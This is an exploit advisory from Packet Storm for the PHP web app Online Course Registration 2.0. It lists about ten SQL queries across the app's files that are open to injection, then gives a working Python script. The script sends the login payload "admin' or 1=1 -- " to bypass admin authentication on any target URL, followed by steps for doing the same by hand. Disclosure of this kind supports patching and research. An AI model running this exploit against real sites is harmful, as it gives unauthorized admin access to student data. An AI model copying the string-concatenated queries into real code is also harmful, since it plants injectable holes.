Online Course Registration 2.0 SQL Injection

Online Course Registration 2.0 suffers from authentication bypass and remote SQL injection vulnerabilities.


MD5 | 8f2ac3bc2de7c0e0dc64a701ba66b270

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# Exploit Title: Online Course Registration 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-04-25
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: 2.0
# Tested on: Kali Linux x64 5.4.0
# CVE : N/A

#There are multiple SQL injection vulnerabilities in Online Course Registration #PHP script:

#./check_availability.php:               $result =mysqli_query($con,"SELECT studentRegno FROM    courseenrolls WHERE course='$cid' and studentRegno=' $regid'");
#./check_availability.php:               $result =mysqli_query($con,"SELECT * FROM courseenrolls WHERE course='$cid'");
#./check_availability.php:               $result1 =mysqli_query($con,"SELECT noofSeats FROM course WHERE id='$cid'");
#./change-password.php:$sql=mysqli_query($con,"SELECT password FROM  students where password='".md5($_POST['cpass'])."' && studentRegno='".$_SESSION['login']."'");
#./admin/check_availability.php:         $result =mysqli_query($con,"SELECT StudentRegno FROM students WHERE StudentRegno='$regno'");
#./admin/change-password.php:$sql=mysqli_query($con,"SELECT password FROM  admin where password='".md5($_POST['cpass'])."' && username='".$_SESSION['alogin']."'");
#./admin/index.php:$query=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");
#./index.php:$query=mysqli_query($con,"SELECT * FROM students WHERE StudentRegno='$regno' and password='$password'");
#./includes/header.php:        $ret=mysqli_query($con,"SELECT  * from userlog where studentRegno='".$_SESSION['login']."' order by id desc limit 1,1");
#./pincode-verification.php:$sql=mysqli_query($con,"SELECT * FROM  students where pincode='".trim($_POST['pincode'])."' && StudentRegno='".$_SESSION['login']."'");

#It is also possible to bypass the authentication in the two login pages:
#!/usr/bin/python3
try:
   from termcolor import colored 
   from colorama import init
   import argparse
   import requests
except:
  print("Please run pip3 install termcolor,colorama,argparse,requests")

init()

symbol_green=colored("[+]", 'green') 
symbol_red=colored("[-]", 'red') 

parser = argparse.ArgumentParser()
parser.add_argument('url', help='The URL of the target.')
args = parser.parse_args()

adminurl = args.url + '/onlinecourse/admin/'



def main():
    initial='Online Course Registration Authentication Bypass in %s' % ( args.url ) + "\n"
    print(colored(initial, 'yellow'))
    sess = requests.session()
    data_login = {
    'username': "admin' or 1=1 -- ",
    'password': 'whatever',
    'submit': ''
}
    try:
        req = sess.post(adminurl, data=data_login, verify=False, allow_redirects=True)
        resp_code = req.status_code
    except:
      print(symbol_red+" The request didn't work!\n")
      exit()
    if resp_code == 200 and "document.chngpwd.cpass.value" in req.text:
       print(symbol_green+" Authentication bypassed for admin user!\n")
       print(symbol_green+" To test this manually, visit: " + adminurl+ " and enter: admin' or 1=1 -- in the username field and whatever in password field, then click the Log Me In button\n")

    else:
       print(symbol_red+" Fail!")

main()

Source: packetstormsecurity.com
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